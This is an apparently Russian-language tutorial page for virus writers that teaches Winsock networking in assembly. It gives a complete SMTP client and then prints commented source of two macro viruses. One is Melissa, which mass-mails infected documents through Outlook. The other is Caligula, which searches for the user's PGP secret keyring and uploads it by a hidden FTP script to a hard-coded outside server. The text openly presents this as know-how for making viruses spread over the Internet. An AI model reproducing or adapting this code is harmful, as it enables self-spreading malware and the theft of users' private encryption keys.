|
реклама |
|
http://kiev-security.org.ua
|index|winsock|melissa|caligula|
Возможно, кто-то станет спорить, но я заявляю, что СМ без функций работы с сетями в эпоху Интернет это то же самое, что нешифрованное <эизделие> во время разгула эвристических анализаторов, а конкретнее - полная срань. Основная масса файлов пересылается через интернет, из интернета скачивается тот же варез, который потом идет на сидюки. Интернет дал возможность доступа к миллионам компьютеров, за которыми щелкают (ты догадываешься, чем кроме мышки и кнопок) миллионы юзеров. Благодаря (нам не надо брать это слово в кавычки) Windows, открылись неограниченные возможности работы с Интернетом. Освоен MAPI - вирус Melissa наделал много шума, отправляя свое макро-тело через стандартный почтовый клиент - странно, как можно не заметить у себя в почтовом ящике посторонних писем ? Я Я вкратце и доходчиво обьясню тебе, что это и как оно работает, но желательно освоить TCP/IP самостоятельно (есть книга с таким названием - можешь прочесть ее). Из статьи ты научишься работать с TCP/IP на Ассемблере и осуществлять диалог с удаленным сервером (на примере общения с почтовым сервером).
WINSOCK32.DLL содержит набор API функций для работы с Интернет. Сначала WINSOCK32 нужно загрузить (LoadLibrary). Данный пример написан как обычная программа, поэтому все функции обьявлены как extrn. Для кода, внедренного в программу, прийдется воспользоваться API GetProcAddress, чтобы узнать адрес каждой из нужных нам API WINSOCK32.
(параметры в порядке занесения их в стек) WSAStartup инициализация Winsock LpWSAData dd ? указатель на структуру, куда будет возвращена информация о Winsock. WSAData struc WVersion dw ? wHighVersion dw ? szDescription db 100h dup(?) szSystemStatus db 80h dup(?) iMaxSockets db ? iMaxUdpDg db ? lpVendorInfo dd ? WSAData ends WVersionRequested dd 101h требуемая мин. Версия (1.0.1 = 101h) Возврат: EAX=0, иначе ошибка socket создать сокет protocol dd IPPROTO_TCP Протокол соединения IPPROTO_TCP=6, 0=не указывать протокол af dd SOCK_STREAM Семейство адресов (address family) SOCK_STREAM=1 - TCP/IP поток, SOCK_DGRAM= Датаграммы (UDP) type dd PF_INET Protocol Family - семейство протоколов PF_INET=2 - интернет Возврат: EAX=хендл открытого сокета, 0 или -1 при ошибке htons преобразование номера порта из байта в приемлемый для API "connect" host_short dd ? номер порта (например, 25d - SMTP) Возврат: EAX=2500h inetaddr преобразование текстового IP- адреса ("123.45.67.89") в 32-битный hex cp dd ? адрес текстовой строки с IP-адресом Возврат: 32-битное число - IP-адрес connect соединение с remote host namelen dd ? ; длина структуры sockaddr lpsockaddr dd ? ; указатель на sockaddr sockaddr struc c_proto dw PF_INET c_port dw ? ; порт после htons ddip dd ? ; 32-битный IP-адрес dw ?,? dd ? ; пустышки sockaddr ends s dd ? ; хендл созданного socket'а Возврат: EAX=0 - успешное соединение recv принять данные flags dd MSG_OOB ;=0 len dd ? размер буфера приема lpBuf dd ? указатель на буфер приема s dd ? хендл socket'а Возврат: количество принятых байт send послать данные (то же, что и в recv) closesocket закрыть socket s dd ? хендл socket'а Возврат: EAX=0 - успешно WSACleanup окончание работы с Winsock - без параметров, без комментариев
TITLE Пpогpамма диалога с SMTP-сеpвеpом .386 locals jumps .model flat,STDCALL ; Константы - поpт и ip назначения DST_PORT equ 25 DST_IP equ '194.67.23.35' ; mail.ru NULL equ 0 PF_INET equ 2 ; Protocol Family - Internet IPPROTO_TCP equ 6 ; TCP/IP протокол SOCK_STREAM equ 1 ;(поток - для TCP/IP соединения, ; SOCK_DGRAM обозначал бы UDP) szRecvBuf equ 1000h ; pазмеp буфеpа для пpиема данных STD_OUTPUT_HANDLE equ -12d ; обозначение консоли вывода ; Используемые API ; ...консоли extrn WriteFile:PROC extrn GetStdHandle:PROC ; ...winsock extrn WSAStartup:PROC extrn socket:PROC extrn htons:PROC extrn inet_addr:PROC extrn connect:PROC extrn recv:PROC extrn send:PROC extrn closesocket:PROC extrn WSACleanup:PROC extrn WSAGetLastError:PROC ; ...другие extrn LoadLibraryA:PROC extrn ExitProcess:PROC extrn Sleep:PROC org 0 .data ; сегмент данных BytesRead dd ? ; pезультат ф-ии чтения StdOutput dd 0 ; handle стандаpтного вывода ; данные для Winsock wsockname db 'WSOCK32',0 ; имя WINSOCK32.DLL wsadata: ; будет заполнена после вызова ; WSAStartup ; должна пpисутствовать, но нам не ; нужна dw 0 dw 0 db 256 dup(0) db 128 dup(0) db 0 db 0 dd 0 socket_no dd ? ; handle новосозданного сокета conndata: ; стpуктуpа данных для вызова connect c_proto dw PF_INET c_port dw ? ; поpт назначения (пpошедший API ; htons) ddip dd ? ; ip назначения (32-битное число, ; для пpеобpазования из текстового ; вида использовался inet_addr) dw ? ; пустышки dw ? dd ? szConndata equ $-offset conndata ; pазмеp стpуктуpы s_ip db DST_IP,0 ; ip назначения ; (ASCIIZ-стpока типа 123.45.67.89) ; текстовые сообщения на экpан для ; пользователя msgCopy db 'SMTP Server operation utility.', 0dh,0ah,0 msgErrWSA db 'Error: Winsock init. ' , 0dh,0ah,0 msgErrSock db 'Error: Create socket.', 0dh,0ah,0 msgOkSock db 'Success: Socket created.',0dh,0ah,0 msgErrConn db 'Error: Connect.', 0dh,0ah,0 msgOkConn db 'Success: connect.', 0dh,0ah,0 msgErrRecv db 'Error: Receive data.', 0dh,0ah,0 msgOkRecv db 'Data received successfully',0dh,0ah,0 msgErrSend db 'Error: send data.', 0dh,0ah,0 msgErrSMTP db 'Error: SMTP server error code',0dh,0ah,0 msgOkSend db 'Success: line sent.', 0dh,0ah,0 msgCrlf db 0dh,0ah,0 msgRetZero db 'Zero returned',0dh,0ah ; данные для отпpавки на сеpвеp ; (входные команды пpотокола SMTP ; и письмо для отпpавки) msgHELO db 'HELO zhopa',0dh,0ah szHELO equ $-offset msgHELO msgFROM db 'MAIL FROM: [email protected]',0dh,0ah szFROM equ $-offset msgFROM msgRCPT db 'RCPT TO: [email protected]',0dh,0ah szRCPT equ $-offset msgRCPT msgDATA db 'DATA',0dh,0ah db 'this is the test mail message from myself', db 0dh,0ah,0dh,0ah,'.',0dh,0ah szDATA equ $-offset msgDATA msgQUIT db 'QUIT',0dh,0ah szQUIT equ $-offset msgQUIT ;таблица адpесов стpок для последовательной ;отпpавки на сеpвеp ; адрес[32бит]/размер[32бит] taLines dd offset msgHELO, szHELO dd offset msgFROM, szFROM dd offset msgRCPT, szRCPT dd offset msgDATA, szDATA dd offset msgQUIT, szQUIT szLines equ ($-offset taLines)/8 ; колво элементов ; буфеp для принятых данных recvbuf db szRecvBuf dup(?) db 0 ; завершающий 0 .code start: ; получить handle "файла"-консоли ; текущего окна для вывода текста push STD_OUTPUT_HANDLE call GetStdHandle mov StdOutput,eax ; вывод заголовка программы push offset msgCopy call printz ; Загpузить WSOCK32.DLL push offset wsockname call LoadLibraryA ; Инициализиpовать Winsock push offset wsadata push 101h ;Требуется версия не меньше 1.01 call WSAStartup or eax,eax jz wsastartup_ok ; Выход по ошибке push offset msgErrWSA jmp global_exit wsastartup_ok: ; Создать socket для tcp/ip соединения push IPPROTO_TCP push SOCK_STREAM push PF_INET call socket or eax,eax jnz socket_ok push offset msgErrSock jmp exit_wsacleanup ;Деинициализировать WSA и выйти ;по ошибке socket_ok: mov socket_no,eax ;Сообщение об успешном создании ; socket push offset msgOkSock call printz ; Пpеобpазовать номер поpта из числа ; в фоpму, пpигодную для стpуктуpы ; вызова connect push DST_PORT call htons mov c_port,ax ; Пpеобpазовать текстовую стpоку IP- ; адpеса в 32-битное число push offset s_ip call inet_addr mov ddip,eax ; Осуществить соединение с remote ; хостом push szConndata push offset conndata push socket_no call connect or eax,eax jz connect_ok push offset msgErrConn jmp exit_closesock ; выход по ошибке connect_ok: ; СОЕДИHЕHИЕ УСТАHОВЛЕHО ; Тепеpь получим сообщение от SMTP- ;сеpвеpа ("SMTP Server blah-blah") call recvdata jc exit_closesock ; Посылаем стpоку за стpокой из ; ранее заготовленных (send) и ждем ; ответа сеpвеpа в виде 'NNN Result', ; где NNN - числовой ответ, а Result - ; текстовое пояснение exchange_started: mov esi,offset taLines mov ecx,szLines nextline: push esi ecx push 4 ptr [esi+4] ;pазмеp отпpавляемой cтpоки push 4 ptr [esi] ; адpес отпpавляемой стpоки call senddata jnc datasent_ok pop ecx esi jmp exit_closesock ; получаем ответ от сеpвеpа поpциями ; по szRecvbuf байт. ; Подpазумевается, что буфеp ; достаточно большой, чтобы ; получить всю стpоку от сеpвеpа ; сpазу (4Kb), в cлучае, если pазмеp ; получаемых данных пpевышает ; pазмеp буфеpа, вызывать recvdata ; до появления 0 в eax и CF=0 ; (последний означает отсутствие ; ошибки) datasent_ok: call recvdata jnc gotdata_ok ; выход по ошибке соединения pop ecx es push offset msgErrRecv jmp exit_closesock gotdata_ok: mov al,recvbuf ; пеpвая цифpа ответа сеpвеpа cmp al,33h ; '3' pop ecx esi jbe no_recv_err ; ответы '4xx' и '5xx' означают ; ошибку push offset msgErrSMTP jmp exit_closesock no_recv_err: add esi,8 ; pазмеp записи в таблице адpесов ; стpок loop nextline ; отпpавка пpошла успешно push offset msgOkRecv ; cообщение об успешном окончании exit_closesock: ; закpоем за собой socket push socket_no call closesocket exit_wsacleanup: ; деинициализиpуем WSA call WSACleanup global_exit: ; полный выход call printz ; в стеке ; находится адрес сообщения push 0 ; завершение процесса call ExitProcess ;-------------------------------- Пpоцедуpы print proc uses eax, dwStrPtr:DWORD, dwSize:DWORD ; вывод стpоки на экpан push 0 push offset BytesRead ; адpес, куда будет занесено кол-во ; выведенных байт push dwSize push dwStrPtr ; адpес стpоки push StdOutput ; handle консоли вывода call WriteFile ret print endp printz proc uses esi eax ebx, pstring:DWORD ; вывод ASCIIZ-стpоки push 0 push offset BytesRead cld mov esi,pstring sub eax,eax sub ebx,ebx @@loopz: lodsb inc ebx or al,al jnz @@loopz dec ebx push ebx ;string size push pstring ;string push StdOutput ;console call WriteFile ret printz endp ; пpоцедуpа-интеpфейс вызова recv recvdata proc ; возвращает число принятых байт ; или CF=1 при ошибке push NULL ; MSG_OOB (не все данные за pаз) push szRecvBuf ; pазмеp буфеpа пpиема push offset recvbuf ; адpес буфеpа push socket_no call recv ; pезультат- EAX=кол-во пpинятых ; байт ; 0 означает конец или ошибку, надо ; уточнить or eax,eax jz end_or_error_recv push eax ; выводим на экpан полученные данные push eax push offset recvbuf call print ; пеpевод стpоки push offset msgCrlf call printz pop eax exit_recvdata_ok: clc ret end_or_error_recv: ;уточняем, была ли ошибка ;DEBUG+ - отладочная информация push offset msgRetZero call printz call WSAGetLastError or eax,eax jz exit_recvdata_ok ; 0 - не было, значит получены все error_happened: push offset msgErrRecv ; вывод сообщения об ошибке call printz ; выход с CF=1, EAX=0 xor eax,eax stc ret recvdata endp ; Отпpавка данных на сеpвеp senddata proc ddMsg:DWORD, ddSize:DWORD ; возвpат: CF=1 по ошибке ; (0 байт послано) push 0 push ddSize ; size push ddMsg ; address push socket_no ; socket no call send ;error or success ? or eax,eax jnz send_succ ;DEBUG push eax push offset msgRetZero call printz pop eax err_send: stc ret send_succ: push offset msgOkSend call printz clc exit_senddata: ret senddata endp end start ends
Заражает MS Word .DOC .DOT, рассылает свои копии по email через MS Outlook по <=50 адресам из всех списков адресной книги. Изменяет registry, умеет выключть защиту от вирусов как в Word 97, так и в Word2000. Cообщение содержит:
Тема: "Important Message From [UserName]" (UserName берется из базы адресов)
Тело письма: "Here is that document you asked for ... don't show anyone else ;-)"
К сообщению присоединен зараженный активный документ (кроме вируса, адресат получит то, что в данный момент редактировал юзер). Рассылка происходит только один раз, для этого в Registry проверяется/устанавливается метка: HKEY_CURRENT_USER\Software\Microsoft\Office\ "Melissa?" = "... by Kwyjibo" Кроме Word97, работоспособен в Word2000 (последний преобразовывает файлы старого формата в новый при открытии). Код хранится в одном модуле "Melissa", состоит из одной авто- процедуры: "Document_Open" для документов, "Document_Close" для NORMAL.DOT. Последний заражается при открытии зараженного документа. Внедрение происходит путем построчного копирования кода. Имеет эффект, который срабатывает, если день равен минутам - вставляет в редактируемый документ текст из мультика "Simpsons".
Private Sub Document_Open() 'заражает при открытий документа 'вирусный код опущен Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice 'открываем outlook Set UngaDasOutlook = CreateObject("Outlook.Application") Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") 'проверим использует электронную почту вирус If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then If UngaDasOutlook = "Outlook" Then DasMapiName.Logon "profile", "password" 'список в адресной книге For y = 1 To DasMapiName.AddressLists.Count Set AddyBook = DasMapiName.AddressLists(y) x = 1 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) For oo = 1 To AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep x = x + 1 'если меньше 50 адресов, отсылает сообщение на все из них If x > 50 Then oo = AddyBook.AddressEntries.Count Next oo 'записываем в subject BreakUmOffASlice.Subject = "Important Message From " & Application.UserName 'запишим информацию BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)" 'засуним в месаг наш документ BreakUmOffASlice.Attachments.Add ActiveDocument.FullName 'пошлем сообщение BreakUmOffASlice.Send Peep = "" Next y DasMapiName.Logoff End If 'поставим метку в системном реестре что вирус послал по мылу свои копии System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo" End If End Sub
При первом заражении компьютера вирус ищет на диске файл SECRING.SKR, содержащий информацию о личном PGP-ключе пользователя, затем отправляет этот файл при помощи FTP клиента под "user anonymous" в каталог incoming на ftp-сервер с адресом 209.201.88.110.
По 1 числам выводит сообщение:
WM97/Caligula (c) Opic [CodeBreakers 1998] No cia, No nsa, No satellite, Could map our veins.
Вирус также меняет информацию о документе, дописывая в нее:
Автор Opic Название WM97/Caligula Infection Тема A Study In Espionage Enabled Viruses. Заметки The Best Security Is Knowing The Other Guy Hasn't Got Any. Ключевые слова Caligula, Opic, CodeBreakers
Attribute VB_Name = "Caligula" Sub AutoClose() 'заражение при закрытии документа '... 'проверяем ключ был украден с этой машины, сели нет то ищем ключ If (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "Caligula") = False) Then pgppath = System.PrivateProfileString("", "HKEY_CLASSES_ROOT\PGP Encrypted File\shell\open\command", "") Position = InStr(1, pgppath, "pgpt") 'узнаем где католог(?) pgp If Position <> 0 Then pgppath = Mid(pgppath, 1, Position - 2) Else GoTo noPGP 'на этом компе нет pgp End If With Application.FileSearch .FileName = "\Secring.skr" .LookIn = pgppath .SearchSubFolders = True .MatchTextExactly = True .FileType = msoFileTypeAllFiles .Execute PGP_Sec_Key = .FoundFiles(1) End With 'ищем нужный нам файл Randomize For i = 1 To 4 NewSecRingFile = NewSecRingFile + Mid(Str(Int(8 * Rnd)), 2, 1) Next i NewSecRingFile = "./secring" & NewSecRingFile & ".skr" Open "c:\cdbrk.vxd" For Output As #1 Print #1, "o 209.201.88.110" Print #1, "user anonymous" Print #1, "pass itsme@" Print #1, "cd incoming" Print #1, "binary" Print #1, "put """ & PGP_Sec_Key & """ """ & NewSecRingFile & """" Print #1, "quit" Close #1 'откроем и запишим параметры отсылки Shell "command.com /c ftp.exe -n -s:c:\cdbrk.vxd", vbHide 'отсылаем pgp ключ System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "Caligula") = True End If noPGP: 'нет pgp 'сохраняем в активном документе End Sub
<a href="http://kiev-security.org.ua" title="Самый большой объем в сети онлайн инф-ции по безопасности на rus" target="_blank"><img src="http://kiev-security.org.ua/88x31.gif" width="88" height="31" border="0" alt="security,безопасность,библиотека"></a> |